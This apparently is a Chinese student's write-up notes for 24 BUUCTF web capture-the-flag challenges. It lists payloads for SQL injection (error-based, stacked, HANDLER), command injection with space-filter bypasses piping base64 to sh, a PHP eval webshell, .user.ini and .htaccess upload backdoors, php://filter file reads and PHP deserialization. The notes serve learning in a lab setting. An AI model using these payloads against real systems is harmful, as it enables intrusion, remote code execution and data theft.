buuweb(1-24)
1、[极客大挑战2019]Havefun
f12有提示,/?cat=dog即可。
难度:0
2、[ACTF2020新生赛]Include
题目名称叫Include,点tips之后url里有?file=flag.php,基本确定是任意文件读取漏洞。
无源码泄露。
测试远程代码执行:
php://input伪协议(post里输代码),
data://text/plain 伪协议
(data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==)
均被毙。
测试远程任意读:
php://filter伪协议
(php://filter/read=convert.base64-encode/resource=flag.php)
可用。
难度:3
3、[强网杯2019]随便注
先测试报错,发现有报错。使用经典的报错注入
1' and updatexml(1,concat(0x7e,database())),1) --+
发现有过滤【return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);】
尝试了大小写和套娃,均无效(其实从代码中的return和/i也几乎可以判断出这无效)。
测试发现有堆叠注入;继续注入,确定数据库、表和列。
1';use supersqli;show tables;#
1';use supersqli;show columns from `1919810931114514`;#
(确定数据库有两种方法;一个是利用堆叠注入的1';show databases;#获取所有数据库,在看可疑的;另一个是用报错注入的另一姿势1' and extractvalue(1,concat(0x7e,database()))#extractvalue用法与updatexml完全相同。直接获取当前数据库。后者绕过了正则中的update,但若继续用报错注入,后续还得用select,所以不行)
接着,从列中提取数据需要用到select了,这里使用了拼接命令的方法
1';use supersqli;set @variable=concat('s','elect `flag` from `1919810931114514`');prepare sentence from @variable;execute sentence;#
(set 语句为已存在的变量赋值,PREPARE创建SQL语句,EXECUTE执行SQL语句。sql中有一些保留字,当你的字段名是它的保留字时,这个时候sql语句的字段不加``就会报错。)
输入这个之后会提示【strstr($inject, "set") && strstr($inject, "prepare")】;这个看起来就可以用大小写绕过。
难度:5
4、[SUCTF 2019]EasySQL
测试发现过滤了一堆东西,包括但不限于【and or && union " updatexml extractvalue from Flag】
测试发现无报错信息,输入长度要求非常严格,堆叠注入可用。采用堆叠注入:
1;show databases#
1;use ctf;show tables#
(堆叠注入要求语句正确;本题1'#报错,说明数据没有被单引号包裹,不需要加单引号;而上一题1'#不报错,故需要用单引号才能被识别为多个语句)
无后续。查wp得可推断后端代码为【sql=“select”.post[‘query’]."||flag from Flag";】
payload *,1
难度:5
5、[ACTF2020新生赛]exec
123;cat /flag 即可。
find / -name xxx 会消耗巨长的时间,慎用。
复习一下linux命令分隔符:
【;】依次执行命令,不关心成败
【&&】执行失败一个命令后就不再执行
【||】执行成功一个命令后就不再执行
【&】放在启动参数后面表示设置此进程为后台进程
【|】上一条命令的输出,作为下一条命令参数
难度:1
6、[极客大挑战2019]Secret File
看html源码+抓包 即可找到secr3t.php;进去看一下代码,filter读一下就行了。
file=php://filter/read=convert.base64-encode/resource=flag.php
难度:1
7、[GXYCTF2019]Ping Ping Ping
也是命令执行RCE,但进行了许多过滤。
过滤了空格,可以用${IFS}$绕过;
又过滤了几乎所有符号,于是改用$IFS$1。
过滤了flag,先读取index.php。
使用base64-encode的方法绕过flag过滤:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
解析:
将$IFS$1换为空格:echo Y2F0IGZsYWcucGhw|base64 -d|sh
从echo到-d是第一个命令;它的意思是将那一串东西base64解密后输出。
echo cat flag.php|sh
【|】管道符将前一个的结果作为后一个的参数;过滤了bash,所以用sh执行(我的本地dash也可,但它的不行)
还有一种解法:
cat$IFS$1`ls`
【内联执行】将反引号内命令的输出作为输入执行
$IFS是‘内部字段分隔符’;
难度:3
8、[极客大挑战 2019]Http
感觉最难的一步就是第一步,找到Secret.php;用dirsearch是扫不到的,已知的一种方法是从burp的target的contents里获取(初见这种姿势)
接下来,根据提示分别设置referer,user-Agent(browser),X-Forwarded-For就行了。
难度:2
9、[极客大挑战2019]upload
写个一句话马(先不用.php)先传上去:
【<?php eval($_GET[‘wow’]);?>】
回显not image,将content-type改为【image/jpeg】
回显<? ?>被过滤,改用<script language=”php”> </script>
回显It’s not image at all,改文件头
文件头标识:
(1)JPEG
- 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
- 文件结束标识 (2 bytes): 0xff, 0xd9 (EOI)
(2)PNG
-文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
(4)GIF
文件头标识 (6 bytes) 47 49 46 38 39(37) 61,字符即:GIF89 (7)a
用GIF89a直接改最简单;用hex editor加上PNG的文件头,然后直接上传用burp抓包也行(复制进burp好像不行);JPEG头好像不行。
改文件名后缀,发现过滤了php,用【phtml】即可。
上传成功,进入upload下的文件(扫一下可知),
?wow=system(“”);找flag。
难度:4
10、[ACTF2020 新生赛]Upload
只需用phtml一个点;比上一题简化了很多。
难度:2
11、[RoarCTF 2019]Easy Calc
找一找,可以找到jQuery的一个源码和calc.php源码;
jQuery那个源码不是防火墙的源码。
对于waf,在get变量前加个空格即可绕过,原因是php在会对get变量(关联数组下标)进行一些额外处理:【删除空白字符,以及将某些字符转换为下划线】,但自己写的waf不一定有这些处理。
接下来对php里的东西进行绕过。最先想到的是system,但是他过滤了引号,于是用system(chr(34).xxxxxx.chr(34));但是不行。查看phpinfo发现禁用了一大堆函数,只能改用
【var_dump(scandir(chr(47)))】
【var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))】
难度:5
12、[极客大挑战 2019]PHP
提示有网站备份,自然要用dirsearch扫。
但如果直接扫,会全返回【429too many request】,需要用 -s 指定延迟(单位:秒)
【python dirsearch.py -s 5 -u url】
找到www.zip后源码审计,是个简单的php反序列化+__wakeup绕过。字节码建议别手搓,而是用本地PHP环境生成一个。
然而,本题类中的属性都是private;这样的话序列化出来的名字就不是【“属性名”】,而是【“%00类名%00属性名”】(此处类名指的是声明该私有属性的类的类名)。%00在我的本地php环境是无法输出的;直接在url上输入又会被视作截断。只能用python提交。
难度:3
13、[ACTF2020新生赛]BackupFile
dirsearch扫,或根据提示脑洞到.bak文件
弱类型123=”123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”
难度:1
14、[护网杯 2018]easy_tornado
模板注入--判据有两个:tornado是一个python web模板;网站里面有个文件里写了render,也是模板的意思。
再探索题目环境,发现他告诉了flag的位置,以及filehash需要由cookie计算。
接下来的一步是模板注入的关键环节。由于对模板注入了解比较少(且不同的模板也不太一样),这里仅给出获取cookie的payload:【error?msg={{handler.settings}}】;
emmmm现在只记住了有【{{ }}】的就是模板注入。
接下来用python生成相应的MD5内容。python的md5在hashlib库中;
记住送入md5的东西要【.encode】,出来的要【.hexdigest】 就行了
计算MD5的payload:
【print(md5(cookie_secret.encode()+md5(filename.encode()).hexdigest().encode()).hexdigest())】
难度:不评价
15、[极客大挑战 2019]BuyFlag
传统题。根据提示改cookie,弱类型绕数字过滤,科学计数法绕长度过滤。
难度:1
16、[HCTF 2018]admin
直接admin 密码123登录拿到了flag。。。懒得看预期解了
难度:不评价
17、[BJDCTF2020]Easy MD5
一道题解决了巨多MD5问题
MD5绕过姿势:
(1)0e大法:由于科学计数法,都会被认为是0;只适用于最普通的类型。
(2)数组绕过:md5作用于数组时会返回NULL;可以基于此构造payload
【param1[]=1¶m2[]=2】
(3)MD5碰撞:若比较时进行了string强转,则任何数组都会变成Array,无法绕过。这时候只能硬碰撞,即找两个md5相同,但本体不同的东西。这里使用fastcoll。由于生成的文件都是不可读字符,写脚本进行提交。脚本中的1,2 .txt是将空白文本文档放到fastcoll里跑出来的。注意读文件使用rb。
(extra)MD5数据库绕过:使用经典payload【ffifdyop】即可。这个字符串的MD5
值是276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx'。等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
难度:3
18、[ZJCTF 2019]NiZhuanSiWei
第一步读取文件,判定内容,用两种伪协议都能搞定:
data伪协议:【text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=】
php://input伪协议:这个稍微复杂一点;注意当post的内容不是“x=blablabla”的形式时,hackbar无法发出,只能抓包。在Post的内容中,’+’不会被解析为空格,等等。
第二步读取useless.php内容。这里题目说了,不能直接读取flag.php。
直接php://filter协议即可
【file=php://filter/read=convert.base64-encode/resource=useless.php】
读取之后,编写脚本生成反序列化payload:
【password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}】
第三步读取flag.php。注意在第二步中,我们是想获得useless.php的源码,但在第三步中, 我们是想让他执行,所以要直接读。
总payload(若第一步用php://input,也不影响二三步) 【text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&pass word=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}】
难度:4
19、[SUCTF 2019]CheckIn
其他姿势同第九题【[极客大挑战2019]upload】。新学了一个姿势: .user.ini后门。
我们会注意到,此题除了实现上传功能的index.php,在我们传文件的目录下也自带了个index.php,此事必有蹊跷。
先给出解法:上传一个文件名为【.user.ini】的文件,内容【auto_prepend_file=xxx】
再上传【xxx.jpg】,里面写马。之后访问目录下的index.php,就能RCE了。
原理:除了主【php.ini】之外,PHP还会在被执行的PHP文件所在目录下扫描ini文件。PHP_INI_*有四种模式,除了PHP_INI_SYSTEM之外,其他模式都是可以通过【.user.ini】
来设置的。【auto_prepend_file=xxx】可使(该目录下)所有PHP文件在执行前先自动包含xxx文件。所以,xxx文件的后缀并不重要。
难度:5
20、[极客大挑战 2019]HardSQL
本题把空格相关、and相关的东西过滤的很彻底,还过滤了‘=’
纯无空格报错注入sqli-lab里练过,没啥大问题。不过手有点生了,犯了些低级失误。
【1'or(updatexml(1,concat(0x7e,database()),1))#】
【1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))),1))#】
【1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database())or((table_name)like('H4rDsq1'))))),1))#】
【1'or(updatexml(1,concat(0x7e,(select((password))from(H4rDsq1))),1))#】
【1'or(updatexml(1,concat(0x7e,(select((right(password,20)))from(H4rDsq1))),1))#】
学到的几个知识点:
(0)这种注入括号格式较复杂;详解之前sqli-lab23及其他。
(1)limit是不能加括号的,必须用空格类字符的。limit(0,1)必报错
(2)用like或regexp替代’=’。注意like不加括号,两边的东西要加括号;regexp没试过。
(3)第三步因为不能用and,我用or代替了。实际上,不加or的第一项也可以
(4)最后一步直接读flag太长读不完,用【right(password,x)】从第x位开始读
难度:4
21、[MRCTF2020]你传你*呢
经典的.htaccess绕过。
解法:
上传文件.htaccess:
再上传wow.jpg马,访问他即可。
过滤了一堆函数;使用【var_dump(scandir(‘/’))】【var_dump(file_get_contents('/flag'));】
原理:
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess的用途范围主要针对当前目录。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。
图中的.htaccess中的内容是将wow.jpg作为PHP文件解析(大概是这个意思)
难度:3
21、[MRCTF2020]Ez_bypass
md5数组绕过+数字后加字母。
难度:1
22、[网鼎杯2020青龙组]AreUSerialz
反序列化的题,慢慢盘代码逻辑就行了。
有个绕过要把字符串改成int。
注意protected序列化出来是【“%00*%属性名”】(private是【“%00类名%00属性名”】),但题目过滤了不可见字符;生成payload时要把protected改成public
payload:【O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:12:"Hello World!";}】
难度:3
23、[GXYCTF2019]BabySQli
考点是:联合查询在查询并不存在的数据时,就会短暂构造一个虚拟的数据。
试验后会发现本题user必是admin
(题目里给了个base64-base32加密的东西做提示,只select账号;好像用处不大。)
使用联合查询构造临时密码,用自己构造的密码登录。(试了其他几个姿势,发现括号和information都过滤了,不行)
payload:【name=1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1】
(md5(1)=c4ca4238a0b923820dcc509a6f75849b;
密码是经过md5在后台存储的,这一点题目没有提示,有点奇怪。)
难度:4
24、[GYCTF2020]Blacklist
前几步和【3、[强网杯2019]随便注】相同。
【1';show+databases;--+
1';use+supersqli;show+tables;--+
1';use+supersqli;show+columns+from+`FlagHere`;--+】
但是,它过滤了set和prepare,所以之前的姿势不能用了。
考点:HANDLER语句。
【1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#】
handler具体用法也不多,见官方文档https://dev.mysql.com/doc/refman/8.0/en/handler.html
难度:5